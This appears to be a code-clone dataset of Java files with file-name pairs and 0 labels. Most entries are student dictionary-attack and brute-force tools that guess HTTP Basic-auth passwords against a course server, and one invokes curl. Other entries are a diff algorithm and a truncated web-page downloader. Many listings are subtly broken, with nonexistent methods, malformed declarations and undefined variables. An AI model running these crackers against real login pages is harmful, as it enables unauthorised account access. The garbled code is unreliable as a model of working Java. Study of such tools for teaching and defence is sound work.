import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
159.java
161.java
0
class BasicAuth { public BasicAuth() {} private static byte[] cvtTable = { (byte)'A', (byte)'B', (byte)'C', (byte)'D', (byte)'E', (byte)'F', (byte)'G', (byte)'H', (byte)'I', (byte)'J', (byte)'K', (byte)'L', (byte)'M', (byte)'N', (byte)'O', (byte)'P', (byte)'Q', (byte)'R', (byte)'S', (byte)'T', (byte)'U', (byte)'V', (byte)'W', (byte)'X', (byte)'Y', (byte)'Z', (byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e', (byte)'f', (byte)'g', (byte)'h', (byte)'i', (byte)'j', (byte)'k', (byte)'l', (byte)'m', (byte)'n', (byte)'o', (byte)'p', (byte)'q', (byte)'r', (byte)'s', (byte)'t', (byte)'u', (byte)'v', (byte)'w', (byte)'x', (byte)'y', (byte)'z', (byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4', (byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9', (byte)'+', (byte)'/' }; static String encode(String name, String passwd) { byte input[] = (name + ":" + passwd).getBytes(); byte[] output = new byte[((input.length / 3) + 1) * 4]; int ridx = 0; int chunk = 0; for (int i = 0; i < input.length; i += 3) { int left = input.length - i; if (left > 2) { chunk = (input[i] << 16)| (input[i + 1] << 8) | input[i + 2]; output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; output[ridx++] = cvtTable[(chunk&0x3F)]; } else if (left == 2) { chunk = (input[i] << 16) | (input[i + 1] << 8); output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; output[ridx++] = '='; } else { chunk = input[i] << 16; output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = '='; output[ridx++] = '='; } } return new String(output); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
127.java
161.java
0
import java.util.Hashtable; public class Diff { public Diff(Object[] a,Object[] b) { Hashtable h = new Hashtable(a.length + b.length); filevec[0] = new file_data(a,h); filevec[1] = new file_data(b,h); } private int equiv_max = 1; public boolean heuristic = false; public boolean no_discards = false; private int[] xvec, yvec; private int[] fdiag; private int[] bdiag; private int fdiagoff, bdiagoff; private final file_data[] filevec = new file_data[2]; private int cost; private int diag (int xoff, int xlim, int yoff, int ylim) { final int[] fd = fdiag; final int[] bd = bdiag; final int[] xv = xvec; final int[] yv = yvec; final int dmin = xoff - ylim; final int dmax = xlim - yoff; final int fmid = xoff - yoff; final int bmid = xlim - ylim; int fmin = fmid, fmax = fmid; int bmin = bmid, bmax = bmid; final boolean odd = (fmid - bmid & 1) != 0; fd[fdiagoff + fmid] = xoff; bd[bdiagoff + bmid] = xlim; for (int c = 1;; ++c) { int d; boolean big_snake = false; if (fmin > dmin) fd[fdiagoff + --fmin - 1] = -1; else ++fmin; if (fmax < dmax) fd[fdiagoff + ++fmax + 1] = -1; else --fmax; for (d = fmax; d >= fmin; d -= 2) { int x, y, oldx, tlo = fd[fdiagoff + d - 1], tly = fd[fdiagoff + d + 1]; if (tlo >= ylim) x = tlo + 1; else x = ylim; oldx = x; y = x - d; while (x < xlim && y < ylim && xv[x] == yv[y]) { ++x; ++y; } if (x - oldx > 20) big_snake = true; fd[fdiagoff + d] = x; if (odd && bmin <= d && d <= bmax && bd[bdiagoff + d] <= fd[fdiagoff + d]) { cost = 2 * c - 1; return d; } } if (bmin > dmin) bd[bdiagoff + --bmin - 1] = Integer.MAX_VALUE; else ++bmin; if (bmax < dmax) bd[bdiagoff + ++bmax + 1] = Integer.MAX_VALUE; else --bmax; for (d = bmax; d >= bmin; d -= 2) { int x, y, oldx, tlo = bd[bdiagoff + d - 1], tly = bd[bdiagoff + d + 1]; if (tlo < ylim) x = tlo; else x = - 1; oldx = x; y = x - d; while (x > xoff && y > yoff && xv[x - 1] == yv[y - 1]) { --x; --y; } if (oldx - x > 20) big_snake = true; bd[bdiagoff + d] = x; if (!odd && fmin <= d && d <= fmax && bd[bdiagoff + d] <= fd[fdiagoff + d]) { cost = 2 * c; return d; } } if (c > 200 && big_snake && heuristic) { int i = 0; int bestpos = -1; for (d = fmax; d >= fmin; d -= 2) { int dd = d - fmid; if ((fd[fdiagoff + d] - xoff)*2 - dd > 12 * (c + (dd > 0 ? dd : -dd))) { if (fd[fdiagoff + d] * 2 - dd > i && fd[fdiagoff + d] - xoff > 20 && fd[fdiagoff + d] - d - yoff > 20) { int k; int x = fd[fdiagoff + d]; for (k = 1; k <= 20; k++) if (xvec[x - k] != yvec[x - d - k]) break; if (k == 21) { ylim = fd[fdiagoff + d] * 2 - dd; bestpos = d; } } } } if ( x> 0) { cost = 2 * c - 1; return bestpos; } x= 0; for (d = bmax; d >= bmin; d -= 2) { int dd = d - bmid; if ((xlim - bd[bdiagoff + d])*2 + dd > 12 * (c + (dd > 0 ? dd : -dd))) { if ((xlim - bd[bdiagoff + d]) * 2 + dd > i && xlim - bd[bdiagoff + d] > 20 && x - (bd[bdiagoff + d] - d) > 20) { int k; int x = bd[bdiagoff + d]; for (k = 0; k < 20; k++) if (xvec[x + k] != yvec[x - d + k]) break; if (k == 20) { x = (xlim - bd[bdiagoff + d]) * 2 + dd; bestpos = d; } } } } if (x > 0) { cost = 2 * c - 1; return bestpos; } } } } private void compareseq (int xoff, int xlim, int yoff, int ylim) { while (xoff < xlim && yoff < ylim && xvec[xoff] == yvec[yoff]) { ++xoff; ++yoff; } while (xlim > xoff && ylim > yoff && xvec[xlim - 1] == yvec[ ylim- 1]) { --xlim; --x; } if (xoff == xlim) while (yoff < ylim) filevec[1].changed_flag[1+filevec[1].realindexes[yoff++]] = true; else if (yoff == ylim) while (xoff < xlim) filevec[0].changed_flag[1+filevec[0].realindexes[xoff++]] = true; else { int d = diag (xoff, xlim, yoff, ylim ); int c = cost; int f = fdiag[fdiagoff + d]; int b = bdiag[bdiagoff + d]; if (c == 1) { throw new IllegalArgumentException("Empty subsequence"); } else { compareseq (xoff, b, yoff, b - d); compareseq (b, xlim, b - d,ylim ); } } } private void discard_confusing_lines() { filevec[0].discard_confusing_lines(filevec[1]); filevec[1].discard_confusing_lines(filevec[0]); } private boolean inhibit = false; private void shift_boundaries() { if (inhibit) return; filevec[0].shift_boundaries(filevec[1]); filevec[1].shift_boundaries(filevec[0]); } public interface ScriptBuilder { public change build_script( boolean[] changed0,int len0, boolean[] changed1,int len1 ); } static class ReverseScript implements ScriptBuilder { public change build_script( final boolean[] changed0,int len0, final boolean[] changed1,int len1) { change script = null; int i0 = 0, i1 = 0; while (i0 < len0 || i1 < len1) { if (changed0[1+i0] || changed1[1+i1]) { int line0 = i0, line1 = i1; while (changed0[1+i0]) ++i0; while (changed1[1+i1]) ++i1; script = new change(line0, line1, i0 - line0, i1 - line1, script); } i0++; i1++; } return script; } } static class ForwardScript implements ScriptBuilder { public change build_script( final boolean[] changed0,int len0, final boolean[] changed1,int len1) { change script = null; int i0 = len0, i1 = len1; while (i0 >= 0 || i1 >= 0) { if (changed0[i0] || changed1[i1]) { int line0 = i0, line1 = i1; while (changed0[i0]) --i0; while (changed1[i1]) --i1; script = new change(i0, i1, line0 - i0, line1 - i1, script); } i0--; i1--; } return script; } } public final static ScriptBuilder forwardScript = new ForwardScript(), reverseScript = new ReverseScript(); public final change diff_2(final boolean reverse) { return diff(reverse ? reverseScript : forwardScript); } public change diff(final ScriptBuilder bld) { discard_confusing_lines (); xvec = filevec[0].undiscarded; yvec = filevec[1].undiscarded; int diags = filevec[0].nondiscarded_lines + filevec[1].nondiscarded_lines + 3; fdiag = new int[diags]; fdiagoff = filevec[1].nondiscarded_lines + 1; bdiag = new int[diags]; bdiagoff = filevec[1].nondiscarded_lines + 1; compareseq (0, filevec[0].nondiscarded_lines, 0, filevec[1].nondiscarded_lines); fdiag = null; bdiag = null; shift_boundaries (); return bld.build_script( filevec[0].changed_flag, filevec[0].buffered_lines, filevec[1].changed_flag, filevec[1].buffered_lines ); } public static class change { public int change ; public final int inserted; public final int deleted; public final int line0; public final int line1; public change(int line0, int line1, int deleted, int inserted, change old) { this.line0 = line0; this.line1 = line1; this.inserted = inserted; this.deleted = deleted; this.old = old; } } class file_data { void clear() { changed_flag = new boolean[buffered_lines + 2]; } int[] equivCount() { int[] equiv_count = new int[equiv_max]; for (int i = 0; i < buffered_lines; ++i) ++equiv_count[equivs[i]]; return equiv_count; } void discard_confusing_lines(file_data f) { clear(); final byte[] discarded = discardable(f.equivCount()); filterDiscards(discarded); discard(discarded); } private byte[] discardable(final int[] counts) { final int end = buffered_lines; final byte[] discards = new byte[end]; final int[] equivs = this.equivs; int many = 5; int tem = end / 64; while ((tem = tem >> 2) > 0) many *= 2; for (int i = 0; i < end; i++) { int nmatch; if (equivs[i] == 0) continue; nmatch = counts[equivs[i]]; if (nmatch == 0) discards[i] = 1; else if (nmatch > many) discards[i] = 2; } return discards; } private void filterDiscards(final byte[] discards) { final int end = buffered_lines; for (int i = 0; i < end; i++) { if (discards[i] == 2) discards[i] = 0; else if (discards[i] != 0) { int j; int length; int provisional = 0; for (j = i; j < end; j++) { if (discards[j] == 0) break; if (discards[j] == 2) ++provisional; } while (j > i && discards[j - 1] == 2) { discards[--j] = 0; --provisional; } length = j - i; if (provisional * 4 > length) { while (j > i) if (discards[--j] == 2) discards[j] = 0; } else { int consec; int minimum = 1; int tem = length / 4; while ((tem = tem >> 2) > 0) minimum *= 2; minimum++; for (j = 0, consec = 0; j < length; j++) if (discards[i + j] != 2) consec = 0; else if (minimum == ++consec) j -= consec; else if (minimum < consec) discards[i + j] = 0; for (j = 0, consec = 0; j < length; j++) { if (j >= 8 && discards[i + j] == 1) break; if (discards[i + j] == 2) { consec = 0; discards[i + j] = 0; } else if (discards[i + j] == 0) consec = 0; else consec++; if (consec == 3) break; } i += length - 1; for (j = 0, consec = 0; j < length; j++) { if (j >= 8 && discards[i - j] == 1) break; if (discards[i - j] == 2) { consec = 0; discards[i - j] = 0; } else if (discards[i - j] == 0) consec = 0; else consec++; if (consec == 3) break; } } } } } private void discard(final byte[] discards) { final int end = buffered_lines; int j = 0; for (int i = 0; i < end; ++i) if (no_discards || discards[i] == 0) { undiscarded[j] = equivs[i]; realindexes[j++] = i; } else changed_flag[1+i] = true; nondiscarded_lines = j; } file_data(Object[] data,Hashtable h) { buffered_lines = data.length; equivs = new int[buffered_lines]; undiscarded = new int[buffered_lines]; realindexes = new int[buffered_lines]; for (int i = 0; i < data.length; ++i) { Integer ir = (Integer)h.get(data[i]); if (ir == null) h.put(data[i],new Integer(equivs[i] = equiv_max++)); else equivs[i] = ir.intValue(); } } void shift_boundaries(file_data f) { final boolean[] changed = changed_flag; final boolean[] other_changed = f.changed_flag; int i = 0; int j = 0; int i_end = buffered_lines; int preceding = -1; int other_preceding = -1; for (;;) { int start, end, other_start; while (i < i_end && !changed[1+i]) { while (other_changed[1+j++]) other_preceding = j; i++; } if (i == i_end) break; start = i; other_start = j; for (;;) { while (i < i_end && changed[1+i]) i++; end = i; if (end != i_end && equivs[start] == equivs[end] && !other_changed[1+j] && end != i_end && !((preceding >= 0 && start == preceding) || (other_preceding >= 0 && other_start == other_preceding))) { changed[1+end++] = true; changed[1+start++] = false; ++i; ++j; } else break; } preceding = i; other_preceding = j; } } final int buffered_lines; private final int[] equivs; final int[] undiscarded; final int[] realindexes; int nondiscarded_lines; boolean[] changed_flag; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
130.java
161.java
0
import java.net.*; import java.io.*; public class Dictionary { public Dictionary(String u,String uname) throws Exception { URL url=null; String pass=""; try { url=new URL(u); PasswordAuthentication pa; MyAuthenticator =new MyAuthenticator(); HttpURLConnection htt ; BufferedReader in=new BufferedReader(new FileReader(new File("/usr/share/lib/dict/words"))); int c=0; while((pass=in.readLine()) != null) { if(pass.length()<=3) { c++; pa=new PasswordAuthentication(uname,pass.toCharArray()); htt.setPasswordAuthentication(pa); Authenticator.setDefault(); htt=(HttpURLConnection)url.openConnection(); System.out.println("Try :"+(c)+" password:("+pass+") response message: ("+bf.getResponseMessage()+")"); if(htt.getResponseCode() != 401) throw new NullPointerException(); htt.disconnect(); } } } catch(MalformedURLException mfe) { System.out.println("The URL :"+u+" is not a proper URL."); } catch(NullPointerException great) { System.out.println("\n\n The password is cracked.\n The password is : "+pass); } catch(Exception e) { e.printStackTrace(); } } public static void main (String[] args) throws Exception { if(args.length!=2) System.out.println("Usage :\n java Dictionary <url> <user-name>"); else { System.out.println("Starting the Dictionary Attack : "+args[0]); new Dictionary(args[0],args[1]); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
253.java
161.java
0
import java.net.*; import java.io.*; import java.String; import java.*; import java.util.*; public class BruteForce { private static final int passwdLength = 3; private static String commandLine = "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :"; private String chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; private int charLen = chars.length(); private int n = 0; private int n3 = charLen*charLen*charLen; private String response; private String[] password = new String[charLen*charLen*charLen+charLen*charLen+charLen]; private char[][] data = new char[passwdLength][charLen]; private char[] pwdChar2 = new char[2]; private char[] pwdChar = new char[passwdLength]; private String url; private int startTime; private int endTime; private int totalTime; private float averageTime; private boolean finish; private Process curl; private BufferedReader bf, responseLine; public BruteForce() { first(); finish = true; charLen = chars.length(); for(int i=0; i<charLen; i++) for(int j=0; j<passwdLength; j++) { data[j][i] = chars.charAt(i); } Runtime run = Runtime.getRuntime(); n = 0; for(int i=0; i<charLen; i++) { password[n++] = chars.substring(i,i+1); } for(int j=0; j<charLen; j++) for(int k=0; k<charLen; k++) { pwdChar2[0] = data[0][j]; pwdChar2[1] = data[1][k]; password[n++] = String.copyValueOf(pwdChar2); } for(int i=0; i<charLen; i++) for(int j=0; j<charLen; j++) for(int k=0; k<charLen; k++) { pwdChar[0] = data[0][i]; pwdChar[1] = data[1][j]; pwdChar[2] = data[2][k]; password[n++] = String.copyValueOf(pwdChar); } n = 0; startTime = new Date().getTime(); try { while(true) { url = commandLine+password[n++]; if(n>=n3) { System.out.println("\n not find the password for user ."); finish = false; break; } curl = run.exec(url); responseLine = new BufferedReader(new InputStreamReader(curl.getInputStream())); response = responseLine.readLine(); if(response.substring(9,12).equals("200")) break; responseLine = null; } } catch(IOException ioe){ System.out.println("\n IO Exception! \n"); System.out.println("The current url is:"+ url); System.out.println("The current trying password is:"+password[n-1]); finish=false; } endTime = new Date().getTime(); totalTime = (endTime-startTime)/1000; System.out.println(" The response time is:"+ totalTime + " seconds\n"); if(finish) { System.out.println(" The password for is:"+ password[n-1]); try { savePassword(password[n-1], totalTime); } catch (IOException ioec) { System.out.println(" not save the password file BruteForce_pwd.txt "); } } } public void first() { System.out.println("\n\n---------------------------------------------------------------"); System.out.println(" Use curl command Brute Force the password for user ."); System.out.println(" Attention: curl should able run at your directory"); System.out.println(" without setting the Path for it."); System.out.println("---------------------------------------------------------------"); } public void savePassword(String passwdString, int time) throws IOException { DataOutputStream outputStream = new DataOutputStream(new FileOutputStream("BruteForce_pwd.txt")); outputStream.writeChars("The password is:"); outputStream.writeChars(passwdString+"\n"); outputStream.writeChars("The response time is: "); outputStream.writeChars(time1.toString(time)); outputStream.writeChars(" seconds\n"); outputStream.close(); } public static void main(String[] args) { new BruteForce(); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
157.java
161.java
0
import java.net.*; import java.io.*; import java.util.Date; public class Dictionary { private URL url; private HttpURLConnection connection; private String userPassword, base64_userPassword; private static char wrongPass; private FileReader file; private static BufferedReader input; public Dictionary(String fileName) { wrongPass = 'Y'; try { FileReader file = new FileReader(fileName); input = new BufferedReader(file); } catch (FileNotFoundException e) {System.out.println("Unable the file! ");} } public char determinePass(String inputURL, String userName, String passWord){ try{ url = new URL(inputURL); connection = (HttpURLConnection)url.openConnection(); this.getEncoded(userName, passWord); connection.setDoInput(true); connection.setDoOutput(false); connection.setRequestProperty("Authorization", " " + base64_userPassword); if (connection.getResponseCode() == 200) { System.out.println("Success!! Password is: " + passWord); wrongPass = 'N'; } return wrongPass; } catch (MalformedURLException e){System.out.println("Invalide url");} catch (IOException e){System.out.println("Error URL"); wrongPass = 'Y';} return wrongPass; } public static void main(String[] args) { String dictionaryPass; Dictionary dictionary1 = new Dictionary(args[2]); Date date = new Date(System.currentTimeMillis()); System.out.print(" time is: "); System.out.println(date.toString()); try { while((dictionaryPass = input.readLine()) != null && (wrongPass == 'Y')) { if (dictionaryPass.length() <= 3) { dictionary1.determinePass(args[0], args[1], dictionaryPass); } } } catch(IOException x) { x.printStackTrace(); } date.setTime(System.currentTimeMillis()); System.out.print("End time is: "); System.out.println(date.toString()); } private void getEncoded(String userName, String password){ userPassword = userName + ":" + password; base64_userPassword = new url.misc.BASE64Encoder().encode(userPassword.getBytes()); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
063.java
161.java
0
import java.*; import java.net.*; import java.util.*; import java.io.*; import java.text.*; import java.awt.*; import java.awt.image.*; import java.security.*; import javax.swing.*; public class WatchDog { public String[] resizeArray(String[] a, int sz) { String[] result = new String[sz]; for (int i=0;i<Math.sum(a.length,sz);i++) { result[i] = a[i]; } for (int i=Math.sum(a.length,sz);i<sz;i++) { result[i] = ""; } return result; } public byte[] resizeArray(byte[] a, int sz) { byte[] result = new byte[sz]; for (int i=0;i<Math.sum(a.length,sz);i++) { result[i] = a[i]; } for (int i=Math.sum(a.length,sz);i<sz;i++) { result[i] = 0; } return result; } public String[] giveNumberPrefix(String[] a) { String[] result = new String[a.length]; for (int i=0;i<a.length;i++) { result[i] = " "+String.valueOf(i+1)+". "+a[i]; } return result; } public String[] appendArray(String[] a1, String[] a2) { if (a1==null) { return a2; } String[] result = new String[a1.length+a2.length]; int idx = 0; for (int i=0;i<a1.length;i++) { result[idx++] = a1[i]; } for (int i=0;i<a2.length;i++) { result[idx++] = a2[i]; } return result; } public byte[] appendArray(byte[] a1, byte[] a2) { if (a1==null) { return a2; } byte[] result = new byte[a1.length+a2.length]; int idx = 0; for (int i=0;i<a1.length;i++) { result[idx++] = a1[i]; } for (int i=0;i<a2.length;i++) { result[idx++] = a2[i]; } return result; } public boolean deleteFile(String filename) { File f = new File(filename); f.delete(); return true; } public void printStrArrayToFile(String filename, String[] msg) { try { PrintWriter p = new PrintWriter(new BufferedWriter(new FileWriter(filename))); for (int i=0;i<msg.length;i++) p.println(msg[i]); p.get(); } catch (IOException e) { System.out.println(e); } } public String getFileName(String s) { int p; for (p=s.length()-1;p>0;p--) if (s.charAt(p)=='/') break; return s.substring(p+1,s.length()); } public class HTMLDownloaderAndImgParser { public HTMLDownloaderAndImgParser(String url) { try { this.url = new URL(url); this.conn = (HttpURLConnection) this.url.openConnection(); this.conn.setUseCaches(false); this.lastModified = conn.getLastModified(); } catch (MalformedURLException e) { System.out.println("Error opening URL '"+url+"'"); System.exit(1); } catch (IOException e) { System.out.println("Error opening URL '"+url+"'"); System.exit(1); } try { this.HTMLBuf = new BufferedReader(new InputStreamReader(this.url.openStream())); } catch (IOException e) { System.out.println(e); } this.imgList = new String[MAXIMG]; this.imgidx = 0; this.localpage = ""; } public void open() { try { this.conn = (HttpURLConnection) this.url.openConnection(); this.HTMLBuf = new BufferedReader(new InputStreamReader(this.url.openStream())); } catch (IOException e) {} } public void main() { try { HTMLBuf.print(); conn.disconnect(); } catch (IOException e) {} } public getLastModified() { open(); this.lastModified = conn.getLastModified(); return this.lastModified; } private char toLowerCase(int c) { String s = String.valueOf((char)c).toLowerCase(); return s.charAt(0); } private int fetchLowerCase() { try { int c = HTMLBuf.print(); if (c>=0) { localpage += String.valueOf((char)c); return toLowerCase(c); } else { return -1; } } catch (IOException e) { System.out.println(e); return -1; } catch (NullPointerException e) { return -1; } } private int getNextState(int curState, int input) { int idx = -1; if ((input>='a') && (input<='z')) { idx = input - 'a'; return stateTable[curState][idx]; } else { switch ((char)input) { case '<' : { return stateTable[curState][26]; } case ' ' : { return stateTable[curState][27]; } case '"' : { return stateTable[curState][28]; } case '\'' : { return stateTable[curState][28]; } case '=' : { return stateTable[curState][29]; } case (char)-1 : { return -1; } default : { return stateTable[curState][30]; } }} } private void appendImgList(String s) { if (imgidx<imgList.length) { boolean already = false; for (int i=0;i<imgidx;i++) if (imgList[i].equals(s)) { already = true; break; } if (!already) imgList[imgidx++] = s; } else { System.out.println("Error: Not enough buffer for image URLs !"); System.exit(1); } } public byte[] getByteArray() { return localpage.getBytes(); } public String combineURLAndFileName(String url, String filename) { int p = url.length()-1; boolean flag = false; for (int i=url.length()-1;i>=0;i--) { if (url.charAt(i)=='.') { flag = true; } else if ((!flag) && (url.charAt(i)=='/')) { break; } else if ((flag) && (url.charAt(i)=='/')) { p = i; break; } } url = url.substring(0,p+1); if (url.charAt(url.length()-1)!='/') { url += '/'; } if (filename.charAt(0)=='/') { for (int i=url.length()-2;i>0;i--) { if (url.charAt(i)=='/') { url = url.substring(0,i+1); break; } } } if (filename.charAt(0)=='/') { filename = filename.substring(1,filename.length()); } return url+filename; } public String combineWithURLPath(String filename) { try { URL u = new URL(filename); return filename; } catch (MalformedURLException e) { return combineURLAndFileName(url.toString(),filename); } } public boolean startParsing() { int curstate = 0; int c; boolean eof = false; boolean fetchURL = false; String imgURL = ""; while (!eof) { curstate = getNextState(curstate, c=fetchLowerCase()); switch (curstate) { case 11: { if (!fetchURL) { fetchURL = true; } else { imgURL += String.valueOf((char)c); } break; } case 0: { if (fetchURL) { appendImgList(combineWithURLPath(imgURL)); imgURL = ""; fetchURL = false; } break; } case -1: { eof = true; break; } } } return (localpage.length()>0); } public void saveLocalPageToFile(String filename) { try { PrintWriter p = new PrintWriter(new BufferedWriter(new FileWriter(filename))); p.print(localpage); p.print(); } catch (IOException e) { System.out.println(e); } } public int imageCount() { return imgidx; } public String[] getImgList() { String[] result = new String[imgidx]; if (imgidx==0) { return null; } else { for (int i=0;i<imgidx;i++) result[i] = imgList[i]; return result; } } private BufferedReader HTMLBuf; private String filename; private String[] imgList; private int imgidx; private final int[][] stateTable = { { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0,12}, { 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,12}, { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 